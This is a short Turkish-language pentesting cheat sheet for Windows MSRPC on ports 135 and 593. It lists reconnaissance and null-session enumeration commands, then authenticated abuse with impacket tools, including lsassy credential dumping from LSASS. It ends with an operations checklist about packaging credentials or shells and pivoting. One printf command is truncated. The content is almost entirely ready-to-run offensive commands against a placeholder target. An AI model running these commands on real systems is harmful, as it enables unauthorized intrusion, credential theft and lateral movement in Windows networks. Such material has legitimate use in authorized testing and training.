135, 593 - Pentesting MSRPC

MSRPC windows

TCP/135 Windows RPC endpoint mapper’dır. Null session, interface dump ve DCERPC saldırıları AD/lateral için kritik yüzey.

Metodoloji

1. 135/445/139 açık mı bak.

2. epmapper ve interface enum yap.

3. Null session / named pipe dene.

4. Credential ile sam/lsa/svc abuse.

Keşif

nmap -Pn -sV -p135,139,445 TARGET

nmap -Pn -p135,139,445 --script msrpc-enum,rpc-grind TARGET

rpcdump.py TARGET

impacket-rpcdump TARGET

Null / anon

rpcclient -U '' -N TARGET

enum4linux-ng -A TARGET

nxc smb TARGET -u '' -p ''

Kimlikli abuse

impacket-samrdump DOMAIN/user:pass@TARGET

impacket-lsassy TARGET -u user -p pass

nxc smb TARGET -u user -p pass -M spider_plus

Derin enum

nmap -Pn -sV -sC -p135,593 TARGET

nmap -Pn -p135 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:135' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',135));s.settimeout(3);print(s.recv(4096))"

Manuel protokol

nc -nv TARGET 135

printf '

curl -vk --http1.0 http://TARGET:135/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
